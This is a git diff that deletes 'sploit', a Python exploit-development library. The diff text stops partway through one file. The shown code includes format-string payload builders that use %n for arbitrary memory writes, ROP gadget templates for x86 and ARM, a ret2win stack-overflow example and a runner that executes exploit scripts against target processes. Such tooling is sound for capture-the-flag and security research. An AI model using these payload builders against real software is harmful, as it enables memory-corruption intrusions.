diff options
Diffstat (limited to 'sploit')
| -rw-r--r-- | sploit/__init__.py | 6 | ||||
| -rw-r--r-- | sploit/__main__.py | 77 | ||||
| -rw-r--r-- | sploit/arch.py | 153 | ||||
| -rw-r--r-- | sploit/comm/__init__.py | 1 | ||||
| -rw-r--r-- | sploit/comm/comm.py | 205 | ||||
| -rw-r--r-- | sploit/payload/__init__.py | 6 | ||||
| -rw-r--r-- | sploit/payload/fmtstring.py | 178 | ||||
| -rw-r--r-- | sploit/payload/gadhint.py | 98 | ||||
| -rw-r--r-- | sploit/payload/payload.py | 224 | ||||
| -rw-r--r-- | sploit/payload/payload_entry.py | 113 | ||||
| -rw-r--r-- | sploit/payload/ret2dlresolve.py | 226 | ||||
| -rw-r--r-- | sploit/payload/rop.py | 364 | ||||
| -rw-r--r-- | sploit/rev/__init__.py | 4 | ||||
| -rw-r--r-- | sploit/rev/elf.py | 204 | ||||
| -rw-r--r-- | sploit/rev/gadget.py | 25 | ||||
| -rw-r--r-- | sploit/rev/ldd.py | 13 | ||||
| -rw-r--r-- | sploit/rev/r2.py | 139 | ||||
| -rw-r--r-- | sploit/symtbl.py | 160 | ||||
| -rw-r--r-- | sploit/types/__init__.py | 3 | ||||
| -rw-r--r-- | sploit/types/index_entry.py | 44 | ||||
| -rw-r--r-- | sploit/types/indextbl.py | 103 | ||||
| -rw-r--r-- | sploit/types/lict.py | 202 | ||||
| -rw-r--r-- | sploit/until.py | 14 | ||||
| -rw-r--r-- | sploit/util/__init__.py | 2 | ||||
| -rw-r--r-- | sploit/util/cmd.py | 26 | ||||
| -rw-r--r-- | sploit/util/log.py | 32 | 
26 files changed, 0 insertions, 2622 deletions
| diff --git a/sploit/__init__.py b/sploit/__init__.py deleted file mode 100644 index dc5943f..0000000 --- a/sploit/__init__.py +++ /dev/null @@ -1,6 +0,0 @@ -from sploit.arch import * -from sploit.symtbl import * -from sploit.until import * - -from sploit.util import git_version as __git_version -__version__ = __git_version() diff --git a/sploit/__main__.py b/sploit/__main__.py deleted file mode 100644 index 5d53ca6..0000000 --- a/sploit/__main__.py +++ /dev/null @@ -1,77 +0,0 @@ -from argparse import ArgumentParser, REMAINDER -import gc -from os.path import isdir -import tempfile -import traceback - -from sploit.comm.comm import * -from sploit.util.log import * -from sploit import __version__ - -def print_banner(color, line1=__version__, line2='', line3=''): -    ilog() -    ilog(' ░▒█▀▀▀█░▒█▀▀█░▒█░░░░▒█▀▀▀█░▀█▀░▀▀█▀▀    ', end='', color=ALT) -    ilog(line1, color=ALT) -    ilog(' ░░▀▀▀▄▄░▒█▄▄█░▒█░░░░▒█░░▒█░▒█░░░▒█░░    ', end='', color=color) -    ilog(line2, color=ALT) -    ilog(' ░▒█▄▄▄█░▒█░░░░▒█▄▄█░▒█▄▄▄█░▄█▄░░▒█░░    ', end='', color=ALT) -    ilog(line3, color=ALT) -    ilog() - -def main(): -    parser = ArgumentParser(description='Execute Sploit script against target') -    parser.add_argument('script', help='Exploit script to run') -    parser.add_argument('target', nargs=REMAINDER, help='Target cmdline or pipes directory') -    args = parser.parse_args() - -    if len(args.target) == 0: -        with tempfile.TemporaryDirectory() as tmpdir: -            pipe(args.script, tmpdir) -    elif len(args.target) == 1 and isdir(args.target[0]): -        pipe(args.script, args.target[0]) -    else: -        target(args.script, args.target) - -def pipe(script, tmpdir): -    print_banner(ERROR, line3='Pipe Mode') -    while True: -        try: -            p = Pipes(tmpdir) -        except KeyboardInterrupt: -            break -        runscript(script, Comm(p)) -        del p - -def target(script, target): -    print_banner(STATUS, line3='Subprocess Mode') -    runscript(script, Comm(Process(target))) - -def user_scope(comm): -    import sploit as lib -    scope = { name: getattr(lib, name) for name in dir(lib) } -    scope['__version__'] = __version__ -    scope['print'] = elog -    scope['io'] = comm -    return scope - -def runscript(script, comm): -    try: -        ilog("Running Script...") -        code = compile(open(script).read(), script, 'exec') -        exec(code, user_scope(comm)) -        ilog("Script Finished!") -        return -    except KeyboardInterrupt: -        pass -    except: -        ilog(traceback.format_exc(), end='', color=ERROR) -    finally: -        comm.shutdown() -        comm.readall() -        gc.collect() - -    ilog("Script Ended Early!", color=WARNING) - - -if __name__ == "__main__": -    main() diff --git a/sploit/arch.py b/sploit/arch.py deleted file mode 100644 index a9dea61..0000000 --- a/sploit/arch.py +++ /dev/null @@ -1,153 +0,0 @@ -""" -Architecture-aware utilities and global architecture config - -It is common within sploit and for users of sploit to need different behavior -depending on the architecture of the target.  This module encapsulates those -behaviors and bases them on a global architecture that is also configured here. - -Users can set the global arch with arch.set() and all of the methods in this -module will honor it.  An architecture can be defined through the Arch dataclass -and there are also several predefined architecture constants that can be used. -These are accessible by name at module scope. (i.e. sploit.arch.x86_64) - -arch (Arch): the architecture config that sploit will use whenever it needs to -know the architecture of the target - -DEFAULT_ARCH (Arch): the default architecture that arch is set to -""" - -from dataclasses import dataclass - -def __define_architectures(): -    # All predefined architectures should be listed here -    # These will also be added to the module's namespace -    __arch_list = { -        'x86'     : Arch('x86', 4, 'little', 16,      'ret', 'int 0x80',             b'\x90',   ['pop {}','ret'],             [r'add esp, (\w+)','ret'], [r'mov dword \[(?P<dst>\w+)\], (?P<src>\w+)','ret'], [], ['eax','ebx','ecx','edx','esi','edi','ebp']), -        'x86_64'  : Arch('x86', 8, 'little', 16,      'ret',  'syscall',             b'\x90',   ['pop {}','ret'],             [r'add rsp, (\w+)','ret'], [r'mov qword \[(?P<dst>\w+)\], (?P<src>\w+)','ret'], ['rdi','rsi','rdx','rcx','r8','r9'], ['rax','rdi','rsi','rdx','r10','r8','r9']), -        'ARM'     : Arch('arm', 4, 'little',  8, 'pop {pc}',    'svc 0', b'\xe1\xa0\x00\x00', ['pop {{{}, pc}}'], [r'add sp, sp, ([^r]\w*)','pop {pc}'],  [r'str (?P<src>\w+), \[(?P<dst>\w+)\]','pop {pc}'], ['r0','r1','r2','r3'], ['r7','r0','r1','r2','r3','r4','r5']), -        'THUMB'   : Arch('arm', 4, 'little',  8, 'pop {pc}',    'svc 0',         b'\x46\xc0', ['pop {{{}, pc}}'], [r'add sp, sp, ([^r]\w*)','pop {pc}'],  [r'str (?P<src>\w+), \[(?P<dst>\w+)\]','pop {pc}'], ['r0','r1','r2','r3'], ['r7','r0','r1','r2','r3','r4','r5']), -    } -    globals().update(__arch_list) -    global __arch_lookup -    __arch_lookup = {(a.arch_string, a.wordsize, a.endianness) : a for a in reversed(__arch_list.values())} - -@dataclass(frozen=True) -class Arch: -    """ -    Dataclass of information about a target architecture - -    arch_string (str): string returned by r2 iI in the arch field -    wordsize (int): the width, in bytes, of the natural unit of data -    endianness (str): byte order. either "little" or "big" -    alignment (int): the multiple, in bytes, that return addresses must exist -    on the stack -    ret (str): mnemonic for a "return" instruction -    syscall (str): mnemonic for a "syscall" or "service call" instruction -    nopcode (bytes): the exact bytes of a "do nothing" instruction -    popgad (list[str]): ROP gadget template used to pop a value into a register -    cleangad (list[str]): ROP gadget template used to remove values from the -    stack -    writegad (list[str]): ROP gadget template used to write data to memory -    funcargs (list[str]): function argument registers used by the architecture -    calling convention -    kernargs (list[str]): kernel syscall argument registers -    """ - -    arch_string: str -    wordsize: int -    endianness: str -    alignment: int -    ret: str -    syscall: str -    nopcode: bytes -    popgad: list -    cleangad: list -    writegad: list -    funcargs: list -    kernargs: list - -    def set(self,new_arch): -        """Copy the given Arch into this instance.""" -        if type(new_arch) is not Arch: -            raise TypeError(f'arch: new_arch must be an Arch: {new_arch}') -        self.__dict__.update(new_arch.__dict__) -__define_architectures() - -DEFAULT_ARCH = x86_64 -arch = Arch(**DEFAULT_ARCH.__dict__) - -def lookup_arch(arch_string, wordsize, endianness): -    """ -    Return an Arch object with the matching search parameters. - -    If a predefined Arch matches the specified fields, it will be returned. -    Otherwise, None is returned. - -    arch_string (str): The "arch" string returned from r2 iI. -    wordsize (int): The natural width of an int in bytes. -    endianness (str): The order of bytes in an int (either "little" or "big") -    """ -    return __arch_lookup.get((arch_string, wordsize, endianness)) - -def sint(i): -    """Convert given int to signed int of arch.wordsize width.""" -    return __int(i, True) - -def uint(i): -    """Convert given int to unsigned int of arch.wordsize width.""" -    return __int(i, False) - -def int8(i): -    """Convert given int to signed 8 bit int.""" -    return __int(i, True, 1) - -def int16(i): -    """Convert given int to signed 16 bit int.""" -    return __int(i, True, 2) - -def int32(i): -    """Convert given int to signed 32 bit int.""" -    return __int(i, True, 4) - -def int64(i): -    """Convert given int to signed 64 bit int.""" -    return __int(i, True, 8) - -def uint8(i): -    """Convert given int to unsigned 8 bit int.""" -    return __int(i, False, 1) - -def uint16(i): -    """Convert given int to unsigned 16 bit int.""" -    return __int(i, False, 2) - -def uint32(i): -    """Convert given int to unsigned 32 bit int.""" -    return __int(i, False, 4) - -def uint64(i): -    """Convert given int to unsigned 64 bit int.""" -    return __int(i, False, 8) - -def btoi(b, byteorder=None): -    """Convert given byte array to an int.""" -    byteorder = byteorder or arch.endianness -    return int.from_bytes(b, byteorder, signed=False) - -def itob(i, width=None, byteorder=None): -    """Convert given int to a byte array.""" -    width = width or arch.wordsize -    byteorder = byteorder or arch.endianness -    return __int(i,False,width).to_bytes(width, byteorder, signed=False) - -def __int(i, signed=False, width=None): -    # type conversion from int to int of given sign and width -    i = int(i) -    width = width or arch.wordsize -    bits = 8 * width -    if signed: -        sign_bit = 1 << (bits - 1) -        return (i & (sign_bit - 1)) - (i & sign_bit) -    else: -        mask = (1 << bits) - 1 -        return i & mask diff --git a/sploit/comm/__init__.py b/sploit/comm/__init__.py deleted file mode 100644 index ffbc402..0000000 --- a/sploit/comm/__init__.py +++ /dev/null @@ -1 +0,0 @@ -from .comm import * diff --git a/sploit/comm/comm.py b/sploit/comm/comm.py deleted file mode 100644 index 3bc448e..0000000 --- a/sploit/comm/comm.py +++ /dev/null @@ -1,205 +0,0 @@ -import subprocess -import tempfile -import os -import sys -import select - -from sploit.until import bind -from sploit.util.log import * - -class Comm: -    logonread = True -    logonwrite = False -    flushonwrite = True -    readonwrite = False -    timeout = 250 # milliseconds -    last = None # result of last discrete read - -    def __init__(self, backend): -        self.back = backend - -    def shutdown(self): -        try: -            self.back.stdout.close() -        except BrokenPipeError: -            pass - -    def read(self, size=-1): -        if size < 0: -            return self.readall_nonblock() -        elif size == 0: -            data = b'' -        else: -            data = self.back.stdin.read(size) -            if(data == b''): -                raise BrokenPipeError('Tried to read on broken pipe') -        if self.logonread : ilog(data, file=sys.stdout, color=NORMAL) -        self.last = data -        return data - -    def readline(self): -        data = self.back.stdin.readline() -        if(data == b''): -            raise BrokenPipeError('Tried to read on broken pipe') -        if data.endswith(b'\n'): -            data = data[:-1] -        if self.logonread : ilog(data, file=sys.stdout, color=NORMAL) -        self.last = data -        return data - -    def readall(self): -        data = b'' -        try: -            for line in self.back.stdin: -                tolog = (line[:-1] if line.endswith(b'\n') else line) -                if self.logonread : ilog(tolog, file=sys.stdout, color=NORMAL) -                data += line -        except KeyboardInterrupt: -            pass -        self.last = data -        return data - -    def readall_nonblock(self): -        try: -            data = b'' -            os.set_blocking(self.back.stdin.fileno(), False) -            poll = select.poll() -            poll.register(self.back.stdin, select.POLLIN) -            while True: -                poll.poll(self.timeout) -                d = self.readall() -                if len(d) == 0: -                    self.last = data -                    return data -                data += d -        finally: -            os.set_blocking(self.back.stdin.fileno(), True) - -    def readuntil(self, pred, /, *args, **kwargs): -        data = b'' -        pred = bind(pred, *args, **kwargs) -        l = self.logonread -        self.logonread = False -        try: -            while(True): -                data += self.read(1) -                if(pred(data)): -                    break -        finally: -            self.logonread = l -        if self.logonread : ilog(data, file=sys.stdout, color=NORMAL) -        self.last = data -        return data - -    def readlineuntil(self, pred, /, *args, **kwargs): -        dataarr = [] -        pred = bind(pred, *args, **kwargs) -        while(True): -            dataarr.append(self.readline()) -            if(pred(dataarr)): -                break -        self.last = dataarr -        return dataarr - -    def write(self, data): -        self.back.stdout.write(data) -        if self.flushonwrite : self.back.stdout.flush() -        if self.logonwrite : ilog(data, file=sys.stdout, color=ALT) -        if self.readonwrite : self.readall_nonblock() - -    def writeline(self, data=b''): -        self.write(data + b'\n') - -    def interact(self): -        stdin = sys.stdin.buffer -        event = select.POLLIN - -        def readall_stdin(): -            try: -                os.set_blocking(stdin.fileno(), False) -                for line in stdin: -                    self.write(line) -            finally: -                os.set_blocking(stdin.fileno(), True) - -        readtable = { -                self.back.stdin.fileno(): self.readall_nonblock, -                stdin.fileno(): readall_stdin, -        } - -        try: -            ilog("<--Interact Mode-->") -            l = self.logonread -            self.logonread = True - -            poll = select.poll() -            poll.register(self.back.stdin, event) -            poll.register(stdin, event) - -            readtable[self.back.stdin.fileno()]() -            while True: -                for fd, e in poll.poll(self.timeout): -                    if not e & event: return -                    readtable[fd]() -        except KeyboardInterrupt: -            pass -        finally: -            self.logonread = l -            ilog("<--Interact Mode Done-->") - -def popen(cmdline=''): -    io = Comm((Process(cmdline.split()) if len(cmdline) > 0 else Pipes())) -    io.readall_nonblock() -    io.readonwrite = True -    return io - -class Process: -    def __init__(self, args): -        ilog(f"Running: {' '.join(args)}") -        self.proc = subprocess.Popen(args, -                stdin=subprocess.PIPE, -                stdout=subprocess.PIPE, -                stderr=subprocess.STDOUT, -                preexec_fn=lambda : os.setpgrp()) -        ilog(f"PID: {self.proc.pid}") -        self.stdin = self.proc.stdout -        self.stdout = self.proc.stdin - -    def __del__(self): -        if getattr(self, 'proc', None) == None : return -        if(self.proc.poll() != None): -            return -        try: -            ilog("Waiting on Target Program to End...") -            ilog("Press Ctrl+C to Forcefully Kill It...") -            self.proc.wait() -        except KeyboardInterrupt: -            self.proc.kill() - -class Pipes: -    def __init__(self, tmp=None): -        if(tmp == None): -            self.dir = tempfile.TemporaryDirectory() -            dirname = self.dir.name -        else: -            if(not os.path.exists(tmp)): -                os.mkdir(tmp) -            dirname = tmp -        self.pathin = os.path.join(dirname, "in") -        self.pathout = os.path.join(dirname, "out") -        os.mkfifo(self.pathin) -        os.mkfifo(self.pathout) -        ilog("Waiting on Target to Connect...", file=sys.stdout) -        ilog(f"<{self.pathin} >{self.pathout}", file=sys.stdout) -        self.stdout = open(self.pathin, "wb") -        self.stdin = open(self.pathout, "rb") -        ilog("Connected!") - -    def __del__(self): -        try: -            if getattr(self,'stdout',None) : self.stdout.close() -            if getattr(self,'stdin',None) : self.stdin.close() -        except BrokenPipeError: -            pass -        if getattr(self,'pathin',None) and os.path.exists(self.pathin) : os.unlink(self.pathin) -        if getattr(self,'pathout',None) and os.path.exists(self.pathout) : os.unlink(self.pathout) diff --git a/sploit/payload/__init__.py b/sploit/payload/__init__.py deleted file mode 100644 index da47cc1..0000000 --- a/sploit/payload/__init__.py +++ /dev/null @@ -1,6 +0,0 @@ -from .fmtstring import * -from .gadhint import * -from .payload import * -from .payload_entry import * -from .ret2dlresolve import * -from .rop import * diff --git a/sploit/payload/fmtstring.py b/sploit/payload/fmtstring.py deleted file mode 100644 index 54da6f2..0000000 --- a/sploit/payload/fmtstring.py +++ /dev/null @@ -1,178 +0,0 @@ -""" -Exploit C-style format string vulnerabilities - -These techniques leverage functions such as printf, fprintf, sprintf, etc. when -run on unchecked user input to perform arbitrary memory read or write.  This is -made possible by the unintended use of user input as the function's format -string argument, instead of an ordinary data argument.  Attackers may inject -their own conversion specifiers, which act as operating instructions to the -function.  Interesting formatters include: - -    %p      Read argument value.  These are the values of function argument -            registers and values from the stack.  The value is printed as -            hexadecimal (with leading "0x") and interprets values as unsigned -            long (aka, same size as arch.wordsize). - -    %s      Read memory as asciiz string.  Prints the data pointed to by -            argument value. - -    %c      Read argument as 8-bit character, printing the interpreted character -            value.  This formatter is useful in combination with a field width -            specifier in order to print a controlled number of bytes to the -            output, which is meaningful to the next formatter. - -    %n      Write memory as integer.  Prints no output, but writes the number of -            characters printed so far to the location pointed to by the argument -            pointer.  A length modifier will control the bit-width of the -            integer written. - -See `man 3 printf` for more details. -""" - -from sploit.arch import arch, btoi, itob -from sploit.payload.payload import Payload -from sploit.payload.payload_entry import padalign, padrel - -_FMTSTR_MAGIC = b"\xcd" - -def _make_fmtstr_payload(): -    # A typical layout will look like this: -    # b'%123c%10$hn%456c%11$hn\x00\x90\xde\xad\xbe\xef\xca\xfe\xba\xbe' -    #   ^          ^          ^   ^   ^               ^ -    #   fmt[0]     fmt[1]     nul |   addrs[0]        addrs[1] -    #                             align -    # -    # Many examples found online will demo placing addresses at the front.  Eg: -    # b'\xde\xad\xbe\xef\xca\xfe\xba\xbe%123c%7$hn%456c%8$hn\x00' -    # This has the benefit that %n positional values are simple to calculate -    # (they just start at the payload position and increase by one).  However, -    # any NULL bytes in the addresses break the exploit, since printf will stop -    # processing its string once a NULL is encountered. -    # -    # Moving addresses to the end mitigates this.  Wordsize alignment is then -    # necessary to give for valid argument positions.  We also intentionally -    # NULL terminate the format string portion of the payload to prevent printf -    # from processing beyond formatters. -    fp = Payload() -    fp.fmt = Payload() -    fp.null = b"\x00" -    fp.align = padalign(arch.wordsize) -    fp.addrs = Payload() -    return fp - -def _fixup_positionals(fp, position, offset=None): -    if offset is None: -        offset = fp.addrs.base // arch.wordsize - -    fixup = _make_fmtstr_payload() -    fixup.addrs = fp.addrs - -    for i, fmt in enumerate(fp.fmt): -        pos = position + offset + i -        fixup.fmt(fmt.decode().format(pos).encode()) - -    # String formatting positional values may grow the format string so much -    # as to cause the addrs offset to shift.  Detect this and correct. -    check = fixup.addrs.base // arch.wordsize -    if offset != check: -        return _fixup_positionals(fp, position, check) - -    return fixup - -def fmtstr_dump(start=None, end=None): -    """ -    Return a format string payload which dumps annotated argument values. - -    start (int): Starting argument position (default: 1) -    end (int): Ending argument position (default: start + 20) -    """ -    if start is None: start = 1 -    if end is None: end = start + 19 # inclusive, so 20 total arguments - -    fp = Payload() -    fp.magic = padrel(arch.wordsize, _FMTSTR_MAGIC) -    fp.fmt = Payload() -    fp.null = b"\x00" - -    for pos in range(start, end+1): -        if pos < len(arch.funcargs): -            label = arch.funcargs[pos] -        else: -            offset = (pos - len(arch.funcargs)) * arch.wordsize -            label = f"stack+{hex(offset)}" - -        fp.fmt(f"({pos}$ {label}) %{pos}$p  ".encode()) - -    return fp - -def fmtstr_get(*positions, join="  "): -    """ -    Return a format string payload which prints specific argument values. - -    positions (*int): Argument positions -    join (str): Delimiter string -    """ -    fp = Payload() -    fp.fmt = Payload() -    fp.null = join - -    for p in positions: -        fp.fmt(f"{join}%{p}$p".encode()) - -    return fp - -def fmtstr_read(position, address): -    """ -    Return a format string payload which reads data (as string, via %s). - -    position (int): printf positional offset of payload on stack. -    address (int): Address of data to read. -    """ -    fp = _make_fmtstr_payload() -    fp.fmt(b"%{}$s") -    fp.addrs(address) -    return _fixup_positionals(fp, position) - -def fmtstr_write(position, _data, _value=None): -    """ -    Return a format string payload which writes data. - -    One option for calling this function is to give a write destination in _data -    as an integer, and the value to write in _value. - -    Alternatively, _data may contain a dictionary, with write destinations as -    keys and contents to write as values.  _value is ignored in this case. - -    In either case, the contents to write is generally expected to be bytes. -    However, integers are converted automatically via itob(). - -    position (int): printf positional offset of payload on stack. -    _data (int|dict{int:bytes}): Write data (see above) -    _value (int|bytes): Write value (see above) -    """ -    # Convert from 2-argument style to dictionary. -    if type(_data) is int: -        _data = { _data: _value } - -    pairs = {} - -    # Collect each 2-byte word to write. -    for addr, value in _data.items(): -        value = itob(value) if type(value) is int else bytes(value) -        words = [ value[i:i+2] for i in range(0, len(value), 2) ] -        words = { addr+(i*2): btoi(w) for i, w in enumerate(words) } -        pairs.update(words) - -    fp = _make_fmtstr_payload() -    prev = 0 - -    # Craft writes. -    for addr, word in sorted(pairs.items(), key=lambda x: x[1]): -        diff = word - prev -        prev = word - -        size = "" if diff == 0 else f"%{diff}c" -        fp.fmt(f"{size}%{{}}$hn".encode()) -        fp.addrs(addr) - -    return _fixup_positionals(fp, position) diff --git a/sploit/payload/gadhint.py b/sploit/payload/gadhint.py deleted file mode 100644 index 1bef9f0..0000000 --- a/sploit/payload/gadhint.py +++ /dev/null @@ -1,98 +0,0 @@ -import copy -from dataclasses import dataclass, field - -from sploit.rev.gadget import Gadget -from sploit.types.index_entry import IndexEntry - -@dataclass -class GadHint(IndexEntry): -    """ -    User-annotated gadget description object - -    base (Gadget|int): The gadget being annotated.  May be a Gadget object or -    an offset as an int. - -    pops (list[str]): The registers popped by this gadget, in order of -    occurrence. - -    movs (dict{str:str}): The register-to-register moves made by this gadget. -    Keys are destination register names, values are source register names.  The -    order given is insignificant. - -    imms (dict{str:int}): The immediate-to-register loads made by this gadget. -    Keys are destination register names, values are immediate values.  The order -    given is insignificant. - -    writes (dict{str:str}): The register-to-memory stores made by this gadget. -    Keys are the destination register names (which hold memory addresses), -    values are source register names (which hold values to-be-stored).  The -    order given is insignificant. - -    requirements (dict{str:int}): The register state that is required before -    this gadget should be executed.  Keys are register names, values are the -    required register values. - -    stack (list[int]): A list of words to append to the stack following this -    gadget.  The first element given is nearest to the top of the stack and the -    rest follow in order. - -    align (bool): If True, this gadget expects the stack to be aligned prior -    to entry. - -    syscall (bool): If True, this gadget contains a syscall instruction. - -    spm (int): "Stack pointer move" - The amount the stack pointer is adjusted -    by this gadget.  The effect of executing a terminating "return" instruction -    should not be accounted for.  A value of zero is taken as "unspecified". -    """ - -    base: int = 0 -    pops: list = field(default_factory=list) -    movs: dict = field(default_factory=dict) -    imms: dict = field(default_factory=dict) -    writes: dict = field(default_factory=dict) -    requirements: dict = field(default_factory=dict) -    stack: list = field(default_factory=list) -    align: bool = False -    syscall: bool = False -    spm: int = 0 - -    @property -    def offset(self): -        """Return gadget offset as an integer.""" -        return int(self.base) - -    def with_requirements(self, reqs): -        """Return new object with additional requirements.""" -        for k, v in reqs.items(): -            if self.requirements.get(k, v) != v: -                raise ValueError( -                    f"GadHint: Conflicting gadget requirements: " -                    f"{self.requirements}, {reqs}") - -        new = copy.deepcopy(self) -        new.requirements |= reqs -        return new - -    def __repr__(self): -        """Return human-readable GadHint.""" -        def fmt(name, prop): -            if len(prop) > 0: -                return f", {name}={prop}" -            return "" - -        s = hex(self.base) -        s = f"Gadget({s})" if isinstance(self.base, Gadget) else s -        s += fmt("pops", self.pops) -        s += fmt("movs", self.movs) -        s += fmt("imms", self.imms) -        s += fmt("writes", self.writes) -        s += fmt("requirements", self.requirements) -        s += fmt("stack", self.stack) -        if self.align: -            s += ", align" -        if self.syscall: -            s += ", syscall" -        if self.spm > 0: -            s += f", spm={self.spm}" -        return f"GadHint({s})" diff --git a/sploit/payload/payload.py b/sploit/payload/payload.py deleted file mode 100644 index 2a9521f..0000000 --- a/sploit/payload/payload.py +++ /dev/null @@ -1,224 +0,0 @@ -from sploit.arch import itob -from sploit.payload.payload_entry import PayloadEntry -from sploit.types.indextbl import IndexTbl -from sploit.types.index_entry import IndexEntry -from sploit.types.lict import Lict - -_REPR_DATA_LEN = 64 - -class Payload(IndexTbl): -    """ -    Binary payload builder - -    This class provides an API for fluently specifying structured payloads from -    an assortment of input data.  Payload "indices" are any bytes-like data, -    which includes some supported IndexEntry types as well as nested Payloads. - -    Payload is an IndexTbl based on a Lict and features two main use-cases or -    syntaxes for interacting with data. - -    The first method (the formal method) is through the use of normal index -    access via attributes or subscripts.  In this case, element keys are usually -    given.  When a new index is defined, it is inserted at the end of the -    payload.  Modifications to existing indices change the data in-place, and -    this causes the content of the payload to shift around if the replaced data -    is of a different length. - -    The second method (the quick method) is through the use of Payload's __call__ -    method.  This is a general purpose "quick action" method that, among other -    things, will insert data to the payload.  If the Payload object is called -    with 1 or more arguments, the values of these arguments are appended to the -    payload in the order given.  There is no way to specify keys using this -    option, so the data simply occupies unkeyed elements in the underlying Lict. - -    In either case, the data inserted must be bytes-like.  In some common cases, -    the data will be coerced into bytes.  See the method __prep_insertion for -    details on how this is handled.  See the PayloadEntry module for some -    additional features. - -    When retrieving indices from the payload, instead of the element's value, -    either the element offset or (for IndexEntries) the value based at that -    offset is returned to you.  If the payload has a non-zero base, this is -    interpreted as the element's address in memory.  This is useful for any -    exploit that requires pointers to other crafted data. - -    The binary output of a payload is simply the binary output of each of its -    elements, concatenated together - there are no gaps.  If you need to space -    or separate two elements, you need to insert padding bytes between them. -    The element binary content is either the object itself (for bytes elements), -    the output from `payload_bytes()` (for PayloadEntries), or the output from -    `bytes(obj)` for everything else. - -    The following is a simple example using the Payload module to perform a -    hypothetical stack buffer overrun "ret2win" with both of the build syntaxes: - -        # 100 bytes from the start of the buffer to the saved frame pointer -        # call (return into) the function "pwned", given by an ELF Symtbl -        # 3 arguments, which are given on the stack - -        # formal method -        p = Payload() -        p.smash = padlen(100) -        p.fp    = placeholder() -        p.ret   = elf.sym.pwned -        p.ret2  = placeholder() -        p.arg1  = 0 -        p.arg2  = 1 -        p.arg3  = 2 -        io.write(bytes(p)) - -        # quick method -        p = Payload()(padlen(100), placeholder()) -        p(elf.sym.pwned, placeholder(), 0, 1, 2) -        io.write(p()) -    """ - -    def __init__(self, base=0, entries=None): -        """Construct new Payload with optional base and content.""" -        super().__init__(base) -        if not isinstance(entries, Lict): -            entries = Lict(entries) -        object.__setattr__(self, "__entries__", entries) - -    def __repr__(self): -        """Return human-readable Payload.""" -        FMT = "\n{:<20} {:<20} {:<20}" -        s = f"{len(self.__entries__)} items, {len(self)} bytes @ {hex(self)}" -        memo = {} - -        if len(self.__entries__) > 0: -            s += FMT.format("ADDRESS", "SYMBOL", "DATA") - -        for i, value in enumerate(self.__entries__): -            key = self.__entries__.idx2key(i) -            key = "(unkeyed)" if key is None else str(key) -            key = f"[{key}]" if isinstance(value, IndexEntry) else key - -            addr = self.__addrof(i, memo) -            data = str(self.__bytesof(i, memo)) -            if len(data) > _REPR_DATA_LEN: -                data = data[:_REPR_DATA_LEN] + " ..." - -            s += FMT.format(hex(addr), key, data) - -        return s - -    def __bytes__(self): -        """Return calculated payload bytes.""" -        memo = {} -        x = [ self.__bytesof(i, memo) for i in range(len(self.__entries__)) ] -        return b"".join(x) - -    def __call__(self, *args): -        """ -        Payload quick-action call operator. - -        If called with arguments, append these values to the payload in the -        order given.  The payload (self) is returned for easily chaining calls. - -        If called without arguments, return the rendered payload content as if -        `bytes(payload)` was called. -        """ -        if len(args) == 0: -            return bytes(self) - -        for value in args: -            value = self.__prep_insertion(value, self.end()) -            self.__entries__.append(value) - -        return self - -    def end(self): -        """Return the offset or address of the end of the payload.""" -        return self.base + len(self) - -    # IndexTbl abstract methods - -    def __copy__(self): -        """Return copy of object with shared data entries.""" -        return Payload(self.base, self.__entries__) - -    def __iter__(self): -        """Iterate over data entries.""" -        return iter(self.__entries__) - -    def __len__(self): -        """Return the size of the payload content in bytes.""" -        memo = {} -        x = [ self.__lenof(i, memo) for i in range(len(self.__entries__)) ] -        return sum(x) - -    def __getindex__(self, index): -        """Return payload index value or address.""" -        value, _ = self.__valueof(index, {}) -        return value - -    def __setindex__(self, index, value): -        """Set payload index value.""" -        try: -            addr = self.__addrof(index, {}) -        except KeyError: -            addr = self.end() -        value = self.__prep_insertion(value, addr) -        self.__entries__[index] = value - -    def __delindex__(self, index): -        """Delete payload index.""" -        del self.__entries__[index] - -    # Payload helpers - -    def __valueof(self, index, memo): -        """Return a tuple (addr of value, literal value) for index.""" -        value = self.__entries__[index] -        addr = self.__addrof(index, memo) -        if isinstance(value, IndexEntry): -            value @= addr -            return value, value -        return addr, value - -    def __addrof(self, index, memo): -        """Return address (base + offset) for index.""" -        index = self.__entries__.key2idx(index) -        try: -            return memo[index] -        except KeyError: -            sizes = [ self.__lenof(i, memo) for i in range(index) ] -            addr = self.base + sum(sizes) -            memo[index] = addr -            return addr - -    def __lenof(self, index, memo): -        """Return element length for index.""" -        _, value = self.__valueof(index, memo) -        if isinstance(value, PayloadEntry): -            return value.payload_len(self) -        return len(value) - -    def __bytesof(self, index, memo): -        """Return byte output for index.""" -        _, value = self.__valueof(index, memo) -        if isinstance(value, PayloadEntry): -            return value.payload_bytes(self) -        return bytes(value) - -    def __prep_insertion(self, value, addr): -        """Initialize or type coerce input value for payload insert.""" -        if isinstance(value, PayloadEntry): -            value @= addr -            value.payload_insert(self) -            return value - -        if type(value) is str: -            value = value.encode() + b"\x00" -        elif type(value) is int: -            value = itob(value) - -        try: -            # Confirm value supports our required operations -            len(value) -            bytes(value) -        except TypeError as ex: -            raise TypeError(f"Payload: Bad type {type(value)} given") from ex - -        return value diff --git a/sploit/payload/payload_entry.py b/sploit/payload/payload_entry.py deleted file mode 100644 index 2f8dbdd..0000000 --- a/sploit/payload/payload_entry.py +++ /dev/null @@ -1,113 +0,0 @@ -from sploit.arch import arch, itob -from sploit.types.index_entry import IndexEntry - -_PLACEHOLDER_MAGIC = b"\xef" - -class PayloadEntry(IndexEntry): -    """Base class for dynamic Payload entries""" - -    def __repr__(self): -        """Return human-readable entry description.""" -        return f"{self.__class__.__name__}{self.__dict__}" - -    def payload_insert(self, payload): -        """ -        Called on insert into a payload object. - -        Override this method to perform any initialization which requires a -        reference to the payload object.  self.base is set to the insertion -        location. -        """ -        pass - -    def payload_len(self, payload): -        """ -        Called to compute size of this entry. - -        Implement this method to calculate the length of this dynamic payload -        entry.  self.base is set to the current entry address or offset. -        """ -        raise NotImplementedError - -    def payload_bytes(self, payload): -        """ -        Called to generate bytes for this entry. - -        Implement this method to generate the binary output for this dynamic -        payload entry.  self.base is set to the current entry address or offset. -        """ -        raise NotImplementedError - -# Concrete payload entry definitions - -class pointer(PayloadEntry): -    """Generate an integer which tracks the address of another payload field.""" - -    def __init__(self, target=None, math=None): -        self.target = target -        self.math = math - -    def payload_len(self, payload): -        return arch.wordsize - -    def payload_bytes(self, payload): -        if self.target is None: -            addr = self.base -        else: -            addr = payload[self.target] -        if callable(self.math): -            addr = self.math(addr) 